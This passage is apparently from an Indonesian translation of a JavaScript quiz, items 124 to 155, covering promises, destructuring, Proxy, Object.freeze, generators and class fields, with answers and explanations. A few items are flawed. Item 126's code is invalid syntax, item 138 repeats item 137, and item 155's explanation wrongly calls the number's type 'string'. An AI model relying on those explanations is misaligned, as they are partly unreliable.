\n\n#### Jawaban: C\n\nThe generator function `range` returns an async object with promises for each item in the range we pass: `Promise{1}`, `Promise{2}`, `Promise{3}`. We set the variable `gen` equal to the async object, after which we loop over it using a `for await ... of` loop. We set the variable `item` equal to the returned Promise values: first `Promise{1}`, then `Promise{2}`, then `Promise{3}`. Since we're _awaiting_ the value of `item`, the resolved promsie, the resolved _values_ of the promises get returned: `1`, `2`, then `3`.\n\n

\n
\n\n---\n\n###### 125. Apa yang akan tampil?\n\n```javascript\nconst myFunc = ({ x, y, z }) => {\n console.log(x, y, z);\n};\n\nmyFunc(1, 2, 3);\n```\n\n- A: `1` `2` `3`\n- B: `{1: 1}` `{2: 2}` `{3: 3}`\n- C: `{ 1: undefined }` `undefined` `undefined`\n- D: `undefined` `undefined` `undefined`\n\n
Jawaban\n

\n\n#### Jawaban: D\n\n`myFunc` expects an object with properties `x`, `y` and `z` as its argument. Since we're only passing three separate numeric values (1, 2, 3) instead of one object with properties `x`, `y` and `z` ({x: 1, y: 2, z: 3}), `x`, `y` and `z` have their default value of `undefined`.\n\n

\n
\n\n---\n\n###### 126. Apa yang akan tampil?\n\n```javascript\nfunction getFine(speed, amount) {\n const formattedSpeed = new Intl.NumberFormat({\n 'en-US',\n { style: 'unit', unit: 'mile-per-hour' }\n }).format(speed)\n\n const formattedAmount = new Intl.NumberFormat({\n 'en-US',\n { style: 'currency', currency: 'USD' }\n }).format(amount)\n\n return `The driver drove ${formattedSpeed} and has to pay ${formattedAmount}`\n}\n\nconsole.log(getFine(130, 300))\n```\n\n- A: The driver drove 130 and has to pay 300\n- B: The driver drove 130 mph and has to pay \\$300.00\n- C: The driver drove undefined and has to pay undefined\n- D: The driver drove 130.00 and has to pay 300.00\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nWith the `Intl.NumberFormat` method, we can format numeric values to any locale. We format the numeric value `130` to the `en-US` locale as a `unit` in `mile-per-hour`, which results in `130 mph`. The numeric value `300` to the `en-US` locale as a `currentcy` in `USD` results in `$300.00`.\n\n

\n
\n\n---\n\n###### 127. Apa yang akan tampil?\n\n```javascript\nconst spookyItems = ['👻', '🎃', '🕸'];\n({ item: spookyItems[3] } = { item: '💀' });\n\nconsole.log(spookyItems);\n```\n\n- A: `[\"👻\", \"🎃\", \"🕸\"]`\n- B: `[\"👻\", \"🎃\", \"🕸\", \"💀\"]`\n- C: `[\"👻\", \"🎃\", \"🕸\", { item: \"💀\" }]`\n- D: `[\"👻\", \"🎃\", \"🕸\", \"[object Object]\"]`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nBy destructuring objects, we can unpack values from the right-hand object, and assign the unpacked value to the value of the same property name on the left-hand object. In this case, we're assigning the value \"💀\" to `spookyItems[3]`. This means that we're modifying the `spookyItems` array, we're adding the \"💀\" to it. When logging `spookyItems`, `[\"👻\", \"🎃\", \"🕸\", \"💀\"]` gets logged.\n\n

\n
\n\n---\n\n###### 128. Apa yang akan tampil?\n\n```javascript\nconst name = 'Lydia Hallie';\nconst age = 21;\n\nconsole.log(Number.isNaN(name));\nconsole.log(Number.isNaN(age));\n\nconsole.log(isNaN(name));\nconsole.log(isNaN(age));\n```\n\n- A: `true` `false` `true` `false`\n- B: `true` `false` `false` `false`\n- C: `false` `false` `true` `false`\n- D: `false` `true` `false` `true`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nWith the `Number.isNaN` method, you can check if the value you pass is a _numeric value_ and equal to `NaN`. `name` is not a numeric value, so `Number.isNaN(name)` returns `false`. `age` is a numeric value, but is not equal to `NaN`, so `Number.isNaN(age)` returns `false`.\n\nWith the `isNaN` method, you can check if the value you pass is not a number. `name` is not a number, so `isNaN(name)` returns true. `age` is a number, so `isNaN(age)` returns `false`.\n\n

\n
\n\n---\n\n###### 129. Apa yang akan tampil?\n\n```javascript\nconst randomValue = 21;\n\nfunction getInfo() {\n console.log(typeof randomValue);\n const randomValue = 'Lydia Hallie';\n}\n\ngetInfo();\n```\n\n- A: `\"number\"`\n- B: `\"string\"`\n- C: `undefined`\n- D: `ReferenceError`\n\n
Jawaban\n

\n\n#### Jawaban: D\n\nVariables declared with the `const` keyword are not referencable before their initialization: this is called the _temporal dead zone_. In the `getInfo` function, the variable `randomValue` is scoped in the functional scope of `getInfo`. On the line where we want to log the value of `typeof randomValue`, the variable `randomValue` isn't initialized yet: a `ReferenceError` gets thrown! The engine didn't go down the scope chain since we declared the variable `randomValue` in the `getInfo` function.\n\n

\n
\n\n---\n\n###### 130. Apa yang akan tampil?\n\n```javascript\nconst myPromise = Promise.resolve('Woah some cool data');\n\n(async () => {\n try {\n console.log(await myPromise);\n } catch {\n throw new Error(`Oops didn't work`);\n } finally {\n console.log('Oh finally!');\n }\n})();\n```\n\n- A: `Woah some cool data`\n- B: `Oh finally!`\n- C: `Woah some cool data` `Oh finally!`\n- D: `Oops didn't work` `Oh finally!`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nIn the `try` block, we're logging the awaited value of the `myPromise` variable: `\"Woah some cool data\"`. Since no errors were thrown in the `try` block, the code in the `catch` block doesn't run. The code in the `finally` block _always_ runs, `\"Oh finally!\"` gets logged.\n\n

\n
\n\n---\n\n###### 131. Apa yang akan tampil?\n\n```javascript\nconst emojis = ['🥑', ['✨', '✨', ['🍕', '🍕']]];\n\nconsole.log(emojis.flat(1));\n```\n\n- A: `['🥑', ['✨', '✨', ['🍕', '🍕']]]`\n- B: `['🥑', '✨', '✨', ['🍕', '🍕']]`\n- C: `['🥑', ['✨', '✨', '🍕', '🍕']]`\n- D: `['🥑', '✨', '✨', '🍕', '🍕']`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nWith the `flat` method, we can create a new, flattened array. The depth of the flattened array depends on the value that we pass. In this case, we passed the value `1` (which we didn't have to, that's the default value), meaning that only the arrays on the first depth will be concatenated. `['🥑']` and `['✨', '✨', ['🍕', '🍕']]` in this case. Concatenating these two arrays results in `['🥑', '✨', '✨', ['🍕', '🍕']]`.\n\n

\n
\n\n---\n\n###### 132. Apa yang akan tampil?\n\n```javascript\nclass Counter {\n constructor() {\n this.count = 0;\n }\n\n increment() {\n this.count++;\n }\n}\n\nconst counterOne = new Counter();\ncounterOne.increment();\ncounterOne.increment();\n\nconst counterTwo = counterOne;\ncounterTwo.increment();\n\nconsole.log(counterOne.count);\n```\n\n- A: `0`\n- B: `1`\n- C: `2`\n- D: `3`\n\n
Jawaban\n

\n\n#### Jawaban: D\n\n`counterOne` is an instance of the `Counter` class. The counter class contains a `count` property on its constructor, and an `increment` method. First, we invoked the `increment` method twice by calling `counterOne.increment()`. Currently, `counterOne.count` is `2`.\n\n\n\nThen, we create a new variable `counterTwo`, and set it equal to `counterOne`. Since objects interact by reference, we're just creating a new reference to the same spot in memory that `counterOne` points to. Since it has the same spot in memory, any changes made to the object that `counterTwo` has a reference to, also apply to `counterOne`. Currently, `counterTwo.count` is `2`.\n\nWe invoke the `counterTwo.increment()`, which sets the `count` to `3`. Then, we log the count on `counterOne`, which logs `3`.\n\n\n\n

\n
\n\n---\n\n###### 133. Apa yang akan tampil?\n\n```javascript\nconst myPromise = Promise.resolve(Promise.resolve('Promise!'));\n\nfunction funcOne() {\n myPromise.then(res => res).then(res => console.log(res));\n setTimeout(() => console.log('Timeout!', 0));\n console.log('Last line!');\n}\n\nasync function funcTwo() {\n const res = await myPromise;\n console.log(await res);\n setTimeout(() => console.log('Timeout!', 0));\n console.log('Last line!');\n}\n\nfuncOne();\nfuncTwo();\n```\n\n- A: `Promise! Last line! Promise! Last line! Last line! Promise!`\n- B: `Last line! Timeout! Promise! Last line! Timeout! Promise!`\n- C: `Promise! Last line! Last line! Promise! Timeout! Timeout!`\n- D: `Last line! Promise! Promise! Last line! Timeout! Timeout!`\n\n
Jawaban\n

\n\n#### Jawaban: D\n\nFirst, we invoke `funcOne`. On the first line of `funcOne`, we call the `myPromise` promise, which is an _asynchronous_ operation. While the engine is busy completing the promise, it keeps on running the function `funcOne`. The next line is the _asynchronous_ `setTimeout` function, from which the callback is sent to the Web API. (see my article on the event loop here.)\n\nBoth the promise and the timeout are asynchronous operations, the function keeps on running while it's busy completing the promise and handling the `setTimeout` callback. This means that `Last line!` gets logged first, since this is not an asynchonous operation. This is the last line of `funcOne`, the promise resolved, and `Promise!` gets logged. However, since we're invoking `funcTwo()`, the call stack isn't empty, and the callback of the `setTimeout` function cannot get added to the callstack yet.\n\nIn `funcTwo` we're, first _awaiting_ the myPromise promise. With the `await` keyword, we pause the execution of the function until the promise has resolved (or rejected). Then, we log the awaited value of `res` (since the promise itself returns a promise). This logs `Promise!`.\n\nThe next line is the _asynchronous_ `setTimeout` function, from which the callback is sent to the Web API.\n\nWe get to the last line of `funcTwo`, which logs `Last line!` to the console. Now, since `funcTwo` popped off the call stack, the call stack is empty. The callbacks waiting in the queue (`() => console.log(\"Timeout!\")` from `funcOne`, and `() => console.log(\"Timeout!\")` from `funcTwo`) get added to the call stack one by one. The first callback logs `Timeout!`, and gets popped off the stack. Then, the second callback logs `Timeout!`, and gets popped off the stack. This logs `Last line! Promise! Promise! Last line! Timeout! Timeout!`\n\n

\n
\n\n---\n\n###### 134. How can we invoke `sum` in `index.js` from `sum.js?`\n\n```javascript\n// sum.js\nexport default function sum(x) {\n return x + x;\n}\n\n// index.js\nimport * as sum from './sum';\n```\n\n- A: `sum(4)`\n- B: `sum.sum(4)`\n- C: `sum.default(4)`\n- D: Default aren't imported with `*`, only named exports\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nWith the asterisk `*`, we import all exported values from that file, both default and named. If we had the following file:\n\n```javascript\n// info.js\nexport const name = 'Lydia';\nexport const age = 21;\nexport default 'I love JavaScript';\n\n// index.js\nimport * as info from './info';\nconsole.log(info);\n```\n\nThe following would get logged:\n\n```javascript\n{\n default: \"I love JavaScript\",\n name: \"Lydia\",\n age: 21\n}\n```\n\nFor the `sum` example, it means that the imported value `sum` looks like this:\n\n```javascript\n{ default: function sum(x) { return x + x } }\n```\n\nWe can invoke this function, by calling `sum.default`\n\n

\n
\n\n---\n\n###### 135. Apa yang akan tampil?\n\n```javascript\nconst handler = {\n set: () => console.log('Added a new property!'),\n get: () => console.log('Accessed a property!'),\n};\n\nconst person = new Proxy({}, handler);\n\nperson.name = 'Lydia';\nperson.name;\n```\n\n- A: `Added a new property!`\n- B: `Accessed a property!`\n- C: `Added a new property!` `Accessed a property!`\n- D: Nothing gets logged\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nWith a Proxy object, we can add custom behavior to an object that we pass to it as the second argument. In tis case, we pass the `handler` object which contained to properties: `set` and `get`. `set` gets invoked whenever we _set_ property values, `get` gets invoked whenever we _get_ (access) property values.\n\nThe first argument is an empty object `{}`, which is the value of `person`. To this object, the custom behavior specified in the `handler` object gets added. If we add a property to the `person` object, `set` will get invoked. If we access a property on the `person` object, `get` gets invoked.\n\nFirst, we added a new property `name` to the proxy object (`person.name = \"Lydia\"`). `set` gets invoked, and logs `\"Added a new property!\"`.\n\nThen, we access a property value on the proxy object, the `get` property on the handler object got invoked. `\"Accessed a property!\"` gets logged.\n\n

\n
\n\n---\n\n###### 136. Which of the following will modify the `person` object?\n\n```javascript\nconst person = { name: 'Lydia Hallie' };\n\nObject.seal(person);\n```\n\n- A: `person.name = \"Evan Bacon\"`\n- B: `person.age = 21`\n- C: `delete person.name`\n- D: `Object.assign(person, { age: 21 })`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nWith `Object.seal` we can prevent new properies from being _added_, or existing properties to be _removed_.\n\nHowever, you can still modify the value of existing properties.\n\n

\n
\n\n---\n\n###### 137. Which of the following will modify the `person` object?\n\n```javascript\nconst person = {\n name: 'Lydia Hallie',\n address: {\n street: '100 Main St',\n },\n};\n\nObject.freeze(person);\n```\n\n- A: `person.name = \"Evan Bacon\"`\n- B: `delete person.address`\n- C: `person.address.street = \"101 Main St\"`\n- D: `person.pet = { name: \"Mara\" }`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nThe `Object.freeze` method _freezes_ an object. No properties can be added, modified, or removed.\n\nHowever, it only _shallowly_ freezes the object, meaning that only _direct_ properties on the object are frozen. If the property is another object, like `address` in this case, the properties on that object aren't frozen, and can be modified.\n\n

\n
\n\n---\n\n###### 138. Which of the following will modify the `person` object?\n\n```javascript\nconst person = {\n name: 'Lydia Hallie',\n address: {\n street: '100 Main St',\n },\n};\n\nObject.freeze(person);\n```\n\n- A: `person.name = \"Evan Bacon\"`\n- B: `delete person.address`\n- C: `person.address.street = \"101 Main St\"`\n- D: `person.pet = { name: \"Mara\" }`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nThe `Object.freeze` method _freezes_ an object. No properties can be added, modified, or removed.\n\nHowever, it only _shallowly_ freezes the object, meaning that only _direct_ properties on the object are frozen. If the property is another object, like `address` in this case, the properties on that object aren't frozen, and can be modified.\n\n

\n
\n\n---\n\n###### 139. Apa yang akan tampil?\n\n```javascript\nconst add = x => x + x;\n\nfunction myFunc(num = 2, value = add(num)) {\n console.log(num, value);\n}\n\nmyFunc();\nmyFunc(3);\n```\n\n- A: `2` `4` dan `3` `6`\n- B: `2` `NaN` dan `3` `NaN`\n- C: `2` `Error` dan `3` `6`\n- D: `2` `4` dan `3` `Error`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nFirst, we invoked `myFunc()` without passing any arguments. Since we didn't pass arguments, `num` and `value` got their default values: num is `2`, and `value` the returned value of the function `add`. To the `add` function, we pass `num` as an argument, which had the value of `2`. `add` returns `4`, which is the value of `value`.\n\nThen, we invoked `myFunc(3)` and passed the value `3` as the value for the argument `num`. We didn't pass an argument for `value`. Since we didn't pass a value for the `value` argument, it got the default value: the returned value of the `add` function. To `add`, we pass `num`, which has the value of `3`. `add` returns `6`, which is the value of `value`.\n\n

\n
\n\n---\n\n###### 140. Apa yang akan tampil?\n\n```javascript\nclass Counter {\n #number = 10\n\n increment() {\n this.#number++\n }\n\n getNum() {\n return this.#number\n }\n}\n\nconst counter = new Counter()\ncounter.increment()\n\nconsole.log(counter.#number)\n```\n\n- A: `10`\n- B: `11`\n- C: `undefined`\n- D: `SyntaxError`\n\n
Jawaban\n

\n\n#### Jawaban: D\n\nIn ES2020, we can add private variables in classes by using the `#`. We cannot access these variables outside of the class. When we try to log `counter.#number`, a SyntaxError gets thrown: we cannot acccess it outside the `Counter` class!\n\n

\n
\n\n---\n\n###### 141. Apa yang akan tampil?\n\n```javascript\nconst teams = [\n { name: 'Team 1', members: ['Paul', 'Lisa'] },\n { name: 'Team 2', members: ['Laura', 'Tim'] },\n];\n\nfunction* getMembers(members) {\n for (let i = 0; i < members.length; i++) {\n yield members[i];\n }\n}\n\nfunction* getTeams(teams) {\n for (let i = 0; i < teams.length; i++) {\n // ✨ SOMETHING IS MISSING HERE ✨\n }\n}\n\nconst obj = getTeams(teams);\nobj.next(); // { value: \"Paul\", done: false }\nobj.next(); // { value: \"Lisa\", done: false }\n```\n\n- A: `yield getMembers(teams[i].members)`\n- B: `yield* getMembers(teams[i].members)`\n- C: `return getMembers(teams[i].members)`\n- D: `return yield getMembers(teams[i].members)`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nUntuk melakukan pengulangan pada `members` dalam setiap elemen array `tim`, kita perlu melemparkan `tim[i].members` ke fungsi generator `getMembers`. Fungsi generator akan mengembalikan objek hasil generator. Untuk mengulang setiap elemen dalam objek generator ini, kita perlu menggunakan `yield*`.\n\nJika kita telah menulis `yield`, `return yield`, atau `return`, maka seluruh fungsi generator akan dikembalikan saat pertama kali kita memanggil metode `next`.\n\n

\n
\n\n---\n\n###### 142. Apa yang akan tampil?\n\n```javascript\nconst person = {\n name: 'Lydia Hallie',\n hobbies: ['coding'],\n};\n\nfunction addHobby(hobby, hobbies = person.hobbies) {\n hobbies.push(hobby);\n return hobbies;\n}\n\naddHobby('running', []);\naddHobby('dancing');\naddHobby('baking', person.hobbies);\n\nconsole.log(person.hobbies);\n```\n\n- A: `[\"coding\"]`\n- B: `[\"coding\", \"dancing\"]`\n- C: `[\"coding\", \"dancing\", \"baking\"]`\n- D: `[\"coding\", \"running\", \"dancing\", \"baking\"]`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nThe `addHobby` function receives two arguments, `hobby` and `hobbies` with the default value of the `hobbies` array on the `person` object.\n\nFirst, we invoke the `addHobby` function, and pass `\"running\"` as the value for `hobby` and an empty array as the value for `hobbies`. Since we pass an empty array as the value for `hobbies`, `\"running\"` gets added to this empty array.\n\nThen, we invoke the `addHobby` function, and pass `\"dancing\"` as the value for `hobby`. We didn't pass a value for `hobbies`, so it gets the default value, the `hobbies` property on the `person` object. We push the hobby `dancing` to the `person.hobbies` array.\n\nLast, we invoke the `addHobby` function, and pass `\"bdaking\"` as the value for `hobby`, and the `person.hobbies` array as the value for `hobbies`. We push the hobby `baking` to the `person.hobbies` array.\n\nAfter pushing `dancing` and `baking`, the value of `person.hobbies` is `[\"coding\", \"dancing\", \"baking\"]`\n\n

\n
\n\n---\n\n###### 143. Apa yang akan tampil?\n\n```javascript\nclass Bird {\n constructor() {\n console.log(\"I'm a bird. 🦢\");\n }\n}\n\nclass Flamingo extends Bird {\n constructor() {\n console.log(\"I'm pink. 🌸\");\n super();\n }\n}\n\nconst pet = new Flamingo();\n```\n\n- A: `I'm pink. 🌸`\n- B: `I'm pink. 🌸` `I'm a bird. 🦢`\n- C: `I'm a bird. 🦢` `I'm pink. 🌸`\n- D: Nothing, we didn't call any method\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nKita membuat variabel `pet` yang merupakan turunan dari class `Flamingo`. Saat kita membuat turunan, `constructor` pada `Flamingo` dipanggil. Pertama, `\"I'm pink. 🌸\"` ditampilkan, setelah itu kita memanggil `super()`. `super()` memanggil konstruktor class induk, `Bird`. Constructor pada `Bird` dipanggil, dan menampilkan `\"I'm a bird. 🦢\"`.\n\n

\n
\n\n---\n\n###### 144. Manakah dari pilihan di bawah ini yang salah?\n\n```javascript\nconst emojis = ['🎄', '🎅🏼', '🎁', '⭐'];\n\n/* 1 */ emojis.push('🦌');\n/* 2 */ emojis.splice(0, 2);\n/* 3 */ emojis = [...emojis, '🥂'];\n/* 4 */ emojis.length = 0;\n```\n\n- A: 1\n- B: 1 dan 2\n- C: 3 dan 4\n- D: 3\n\n
Jawaban\n

\n\n#### Jawaban: D\n\nDeklarasi `const` pada dasarnya berarti tidak dapat _mengubah_ nilai dari variable tersebut, karena bersifat _read-only (tidak dapat diubah)_. Bagaimanapun, nilainya tidak mutlak. Seperti array pada variable `emojis` dimana nilainya bisa diubah, contohnya untuk menambah nilai array baru, menghilangkan, atau mengubah properti `length` dari array menjadi 0.\n\n

\n
\n\n---\n\n###### 145. Apa yang harus kita tambahkan ke objek `person` untuk mendapatkan `[\"Lydia Hallie\", 21]` sebagai output dari `[...person]`?\n\n```javascript\nconst person = {\n name: \"Lydia Hallie\",\n age: 21\n}\n\n[...person] // [\"Lydia Hallie\", 21]\n```\n\n- A: Tidak ada, objek adalah iterable secara default\n- B: `*[Symbol.iterator]() { for (let x in this) yield* this[x] }`\n- C: `*[Symbol.iterator]() { for (let x in this) yield* Object.values(this) }`\n- D: `*[Symbol.iterator]() { for (let x in this) yield this }`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nObjek tidak dapat diulang secara default. Sebuah iterable adalah sebuah iterable jika protokol iterator ada. Kita dapat menambahkan ini secara manual dengan menambahkan simbol iterator\n `[Symbol.iterator]`, dimana harus mengembalikan objek generator, sebagai contoh dengan membuat fungsi generator `*[Symbol.iterator]() {}`. Fungsi generator ini harus menghasilkan `Object.values` dari objek `person` jika kita mau mengembalikan array `[\"Lydia Hallie\", 21]`: `yield* Object.values(this)`.\n\n

\n
\n\n---\n\n###### 146. Apa yang akan tampil?\n\n```javascript\nlet count = 0;\nconst nums = [0, 1, 2, 3];\n\nnums.forEach(num => {\n\tif (num) count += 1\n})\n\nconsole.log(count)\n```\n\n- A: 1\n- B: 2\n- C: 3\n- D: 4\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nPernyataan `if` didalam perulangan `forEach` akan mengecek apakah nilai dari `num` benar atau salah. Sejak nilai pertama dari array `nums` adalah `0`, yang merupakan nilai salah, pernyataan `if` tidak akan dieksekusi. maka `count` yang mendapat increment hanya untuk 3 nomor yang lain di array `nums`, `1`, `2` dan `3`. sejak `count` mendapat increment `1` 3 kali, maka nilai dari `count` adalah `3`.\n\n

\n
\n\n---\n\n###### 147. Apa hasilnya?\n\n```javascript\nclass Calc {\n\tconstructor() {\n\t\tthis.count = 0\n\t}\n\n\tincrease() {\n\t\tthis.count ++\n\t}\n}\n\nconst calc = new Calc()\nnew Calc().increase()\n\nconsole.log(calc.count)\n```\n\n- A: `0`\n- B: `1`\n- C: `undefined`\n- D: `ReferenceError`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nKami mengatur variabel `calc` sama dengan instance baru dari class `Calc`. Kemudian, kami membuat instance baru dari `Calc`, dan memanggil metode `increase` pada contoh ini. Karena properti count berada dalam konstruktor dari class `Calc`, properti count tidak dibagikan pada prototipe `Calc`. Ini berarti bahwa nilai hitungan belum diperbarui untuk contoh yang ditunjukkan kalk, hitung masih `0`.\n\n

\n
\n\n---\n\n###### 148. Apa hasilnya?\n\n```javascript\nconst user = {\n\temail: \"e@mail.com\",\n\tpassword: \"12345\"\n}\n\nconst updateUser = ({ email, password }) => {\n\tif (email) {\n\t\tObject.assign(user, { email })\n\t}\n\n\tif (password) {\n\t\tuser.password = password\n\t}\n\n\treturn user\n}\n\nconst updatedUser = updateUser({ email: \"new@email.com\" })\n\nconsole.log(updatedUser === user)\n```\n\n- A: `false`\n- B: `true`\n- C: `TypeError`\n- D: `ReferenceError`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nFungsi `updateUser` memperbarui nilai properti `email` dan `password` pada pengguna, jika nilainya diteruskan ke fungsi, setelah itu fungsi mengembalikan objek `user`. Nilai yang dikembalikan dari fungsi `updateUser` adalah objek `user`, yang berarti bahwa nilai updatedUser adalah referensi ke objek `user` yang sama dengan yang ditunjuk oleh `user`. `updatedUser === user` sama dengan `true`.\n\n

\n
\n\n---\n\n###### 149. Apa hasilnya?\n```javascript\nconst fruit = ['🍌', '🍊', '🍎']\n\nfruit.slice(0, 1)\nfruit.splice(0, 1)\nfruit.unshift('🍇')\n```\n\n- A: `['🍌', '🍊', '🍎']`\n- B: `['🍊', '🍎']`\n- C: `['🍇', '🍊', '🍎']`\n- D: `['🍇', '🍌', '🍊', '🍎']`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nPertama, kita memanggil metode `slice` pada array fruit. Metode slice tidak mengubah array asli, tetapi mengembalikan nilai yang dipotongnya dari array: banana emoji.\nKemudian, kita memanggil metode `splice` pada array fruit. Metode splice memang mengubah array asli, yang berarti array fruit sekarang terdiri dari `['🍊', '🍎']`.\nAkhirnya, kita memanggil metode `unshift` pada array `fruit`, yang memodifikasi array asli dengan menambahkan nilai yang diberikan, ‘🍇’ dalam hal ini, sebagai elemen pertama dalam array. Susunan fruit sekarang terdiri dari `['🍇', '🍊', '🍎']`.\n\n

\n
\n\n---\n\n###### 150. Apa hasilnya?\n\n```javascript\nconst animals = {};\nlet dog = { emoji: '🐶' }\nlet cat = { emoji: '🐈' }\n\nanimals[dog] = { ...dog, name: \"Mara\" }\nanimals[cat] = { ...cat, name: \"Sara\" }\n\nconsole.log(animals[dog])\n```\n\n- A: `{ emoji: \"🐶\", name: \"Mara\" }`\n- B: `{ emoji: \"🐈\", name: \"Sara\" }`\n- C: `undefined`\n- D: `ReferenceError`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nKunci objek diubah menjadi string.\n\nKarena nilai `dog` adalah sebuah objek, `animals[dog]`sebenarnya berarti kita membuat properti baru bernama `\"object Object\"`yang sama dengan objek baru. `animals[\"object Object\"]` sekarang sama dengan `{ emoji: \"🐶\", name: \"Mara\"}`.\n\n`cat` juga merupakan objek, yang berarti bahwa `animals[cat]` sebenarnya berarti bahwa kami menimpa nilai `animals[``\"``object Object``\"``]` dengan properti cat yang baru.\n\nMencatat `animals[dog]`, atau sebenarnya `animals[\"object Object\"]` karena mengonversi objek `dog` menjadi string menghasilkan `\"object Object\"`, mengembalikan `{emoji: \"🐈\", nama: \"Sara\"}`.\n\n

\n
\n\n---\n\n###### 151. Apa hasilnya?\n\n```javascript\nconst user = {\n email: \"my@email.com\",\n updateEmail: (email) => {\n this.email = email;\n },\n};\n\nuser.updateEmail(\"new@email.com\");\nconsole.log(user.email);\n```\n\n- A: `my@email.com`\n- B: `new@email.com`\n- C: `undefined`\n- D: `ReferenceError`\n\n
Jawaban\n

\n\n#### Jawaban: A\n\nFungsi `updateEmail` adalah fungsi panah, dan tidak terikat ke objek `user`. Artinya, kata kunci `this` tidak merujuk ke objek `user`, tetapi merujuk pada cakupan global dalam kasus ini. Nilai `email` dalam objek `user` tidak diperbarui. Saat memasukkan nilai `user.email`, nilai asli `my@email.com` akan dikembalikan.\n\n

\n
\n\n---\n\n###### 152. Apa hasilnya?\n\n```javascript\nconst promise1 = Promise.resolve('First')\nconst promise2 = Promise.resolve('Second')\nconst promise3 = Promise.reject('Third')\nconst promise4 = Promise.resolve('Fourth')\n\nconst runPromises = async () => {\n const res1 = await Promise.all([promise1, promise2]);\n const res2 = await Promise.all([promise3, promise4]);\n return [res1, res2];\n}\n\nrunPromises()\n\t.then(res => console.log(res))\n\t.catch(err => console.log(err))\n```\n\n- A: `[['First', 'Second'], ['Fourth']]`\n- B: `[['First', 'Second'], ['Third', 'Fourth']]`\n- C: `[['First', 'Second']]`\n- D: `'Third'`\n\n
Jawaban\n

\n\n#### Jawaban: D\n\nMetode `Promise.all` menjalankan promise yang diberikan secara paralel. Jika satu promise gagal, metode `Promise.all` dengan nilai promise yang ditolak. Dalam kasus ini, `promise3` ditolak dengan nilai `\"Third\"`. Kami menangkap nilai yang ditolak dalam metode `catch` yang dirantai pada pemanggilan `runPromises` untuk menangkap setiap kesalahan dalam fungsi `runPromises`. Hanya `\"Third\"` yang dicatat, karena `promise3` ditolak dengan nilai ini.\n\n

\n
\n\n---\n\n###### 153.Berapa nilai `method` untuk mencatat `{name: \"Lydia\", age: 22}`?\n\n```javascript\nconst keys = [\"name\", \"age\"];\nconst values = [\"Lydia\", 22];\n\nconst method =\n /* ?? */\n Object[method](\n keys.map((_, i) => {\n return [keys[i], values[i]];\n })\n ); // { name: \"Lydia\", age: 22 }\n```\n\n- A: `entries`\n- B: `values`\n- C: `fromEntries`\n- D: `forEach`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nMetode `fromEntries` mengubah array 2d menjadi objek. Elemen pertama di setiap subarray akan menjadi kuncinya, dan elemen kedua di setiap subarray akan menjadi nilainya. Dalam hal ini, kami memetakan di atas array `keys`, yang mengembalikan array yang elemen pertamanya adalah item pada array kunci pada indeks saat ini, dan elemen kedua adalah item dari array nilai pada indeks saat ini.\n\nIni membuat array subarray yang berisi kunci dan nilai yang benar, yang menghasilkan `{name:\" Lydia \", age: 22}`\n\n

\n
\n\n---\n\n###### 154. Apa hasilnya?\n\n```javascript\nconst createMember = ({ email, address = {}}) => {\n\tconst validEmail = /.+\\@.+\\..+/.test(email)\n\tif (!validEmail) throw new Error(\"Valid email pls\")\n\n\treturn {\n\t\temail,\n\t\taddress: address ? address : null\n\t}\n}\n\nconst member = createMember({ email: \"my@email.com\" })\nconsole.log(member)\n```\n\n- A: `{ email: \"my@email.com\", address: null }`\n- B: `{ email: \"my@email.com\" }`\n- C: `{ email: \"my@email.com\", address: {} }`\n- D: `{ email: \"my@email.com\", address: undefined }`\n\n
Jawaban\n

\n\n#### Jawaban: C\n\nNilai default dari `address` adalah objek kosong `{}`. Saat kita menyetel variabel `member` sama dengan objek yang dikembalikan oleh fungsi `createMember`, kita tidak meneruskan nilai untuk address, yang berarti bahwa nilai address adalah objek kosong default `{}`.Objek kosong adalah nilai sebenarnya, yang berarti kondisi `address ? address: null` mengembalikan `true`. Nilai address adalah objek kosong `{}`.\n\n

\n
\n\n---\n\n###### 155. Apa hasilnya?\n\n```javascript\nlet randomValue = { name: \"Lydia\" }\nrandomValue = 23\n\nif (!typeof randomValue === \"string\") {\n\tconsole.log(\"It's not a string!\")\n} else {\n\tconsole.log(\"Yay it's a string!\")\n}\n```\n\n- A: `It's not a string!`\n- B: `Yay it's a string!`\n- C: `TypeError`\n- D: `undefined`\n\n
Jawaban\n

\n\n#### Jawaban: B\n\nKondisi dalam pernyataan `if` memeriksa apakah nilai dari `!typeof randomValue` sama dengan `\"string\"`. Operator `!` Mengonversi nilai menjadi nilai boolean. Jika nilainya benar, nilai yang dikembalikan akan menjadi `false`, jika nilainya salah, nilai yang dikembalikan akan menjadi `true`. Dalam kasus ini, nilai yang dikembalikan dari `typeof randomValue` adalah nilai sebenarnya `\"string\"`, artinya nilai `!typeof randomValue` adalah nilai boolean `false`.\n\n`!typeof randomValue === \"string\"` selalu mengembalikan false, karena kita sebenarnya memeriksa `false === \"string \"`. Karena kondisi mengembalikan `false`, blok kode dari pernyataan `else` dijalankan, dan `Yay it's a string!` Akan dicatat.\n\n

\n
